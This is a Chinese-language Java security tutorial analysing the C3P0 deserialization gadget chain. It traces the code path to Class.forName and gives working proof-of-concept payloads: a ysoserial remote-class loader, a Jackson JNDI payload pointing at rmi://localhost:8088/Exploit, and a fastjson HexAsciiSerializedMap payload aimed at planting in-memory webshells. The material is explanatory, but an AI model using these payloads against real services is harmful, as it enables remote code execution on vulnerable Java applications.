淺談Java安全之C3P0鏈利用與分析
0x00 前言
在一些比較極端情況下,C3P0鏈的使用還是挺頻繁的。
0x01 利用方式
利用方式
在C3P0中有三種利用方式
- http base
- JNDI
- HEX序列化字節(jié)加載器
在原生的反序列化中如果找不到其他鏈,則可嘗試C3P0去加載遠程的類進行命令執(zhí)行。JNDI則適用于Jackson等利用。而HEX序列化字節(jié)加載器的方式可以利用與fj和Jackson等不出網(wǎng)情況下打入內(nèi)存馬使用。
http base使用
使用也很簡單,可以直接使用yso生成數(shù)據(jù)進行發(fā)送到服務端,然后加載到指定的遠程類。
public class test1 { public static void main(String[] args) throws Exception { C3P0 c3P0 = new C3P0(); Object object = c3P0.getObject("http://127.0.0.1:80/:exp"); byte[] serialize = Serializer.serialize(object); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); } }
0x02 C3P0分析
構造分析
public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; } private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); } ...... }
代碼比較簡單,反射創(chuàng)建了一個PoolBackedDataSource
實例對象,然后反射將connectionPoolDataSource
的值設置為PoolSource
類的實例,傳遞className
和url
參數(shù)。即我們傳入的遠程地址和類名。
在序列化的時候會去調(diào)用我們的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject
這行代碼走到了catch
代碼塊里面,因為我們傳入的this.connectionPoolDataSource
即PoolSource
類是不可被序列化的。
繼續(xù)走到下面代碼來看。
public IndirectlySerialized indirectForm(Object var1) throws Exception { Reference var2 = ((Referenceable)var1).getReference(); return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties); }
調(diào)用我們傳遞的this.connectionPoolDataSource
的getReference();
方法。來獲取到一個Reference
這也是前面為我們要重寫這個方法的原因。
實例ReferenceIndirector.ReferenceSerialized
將剛剛獲取的Reference
傳遞進去。
利用分析
反序列化入口為com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject
調(diào)用readObject
內(nèi)部會調(diào)用ReferenceIndirector.getObject()
Class.forName
,如果可以控制forName?法的第?個和第三個參數(shù),并且第?個參數(shù)為 true,那么就可以利?BCEL, ClassLoader實現(xiàn)任意代碼加載執(zhí)? 。
把代碼摳出來測試一下
ClassLoader var6 = Thread.currentThread().getContextClassLoader(); URL var8 = new URL("http://127.0.0.1:80"); URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6); Class var12 = Class.forName("exp", true, urlClassLoader);
跟蹤了一下forName0
是native
修飾的內(nèi)部使用C/C++實現(xiàn)無法進行查看。
來看到官方的講解。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
翻譯大概的意思就是返回一個給定類或者接口的一個 Class 對象,如果沒有給定 classloader, 那么會使用根類加載器。如果initalize
這個參數(shù)傳了 true,那么給定的類如果之前沒有被初始化過,那么會被初始化。
也就是說我們的exp會被初始化,執(zhí)行我們static
代碼塊中的惡意代碼。
HEX序列化字節(jié)加載器
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}
在fj反序列化userOverridesAsString
調(diào)用setting
setter傳入以HexAsciiSerializedMap開頭的字符串進行解碼并觸發(fā)原生反序列化。
來看到調(diào)用流程。下面調(diào)用到這里
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
一路跟蹤來到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
中
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException { if (userOverridesAsString != null) { String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1); byte[] serBytes = ByteUtils.fromHexAscii(hexAscii); return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes)); } else { return Collections.EMPTY_MAP; } }
將HexAsciiSerializedMap
中內(nèi)容提取出來進行反序列化
JNDI利用
public static void main(String[] args) throws IOException, JsonProcessingException { String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"; System.out.println(poc); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(); objectMapper.readValue(poc, Person.class); }
jackson和fastjson特性一樣會調(diào)用setter,這里利用的是JndiRefDataSourceBase
中的setjndiName
0x03 結尾
構造序列化payload時,C3P0版本也會對漏洞利用有所影響。
到此這篇關于淺談Java安全之C3P0鏈利用與分析的文章就介紹到這了,更多相關Java C3P0鏈內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Java數(shù)據(jù)脫敏實現(xiàn)的方法總結
數(shù)據(jù)脫敏,指的是對某些敏感信息通過脫敏規(guī)則進行數(shù)據(jù)的變形,實現(xiàn)敏感隱私數(shù)據(jù)的可靠保護,本文主要是對后端數(shù)據(jù)脫敏實現(xiàn)的簡單總結,希望對大家有所幫助2023-07-07基于SpringBoot整合oauth2實現(xiàn)token認證
這篇文章主要介紹了基于SpringBoot整合oauth2實現(xiàn)token 認證,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-01-01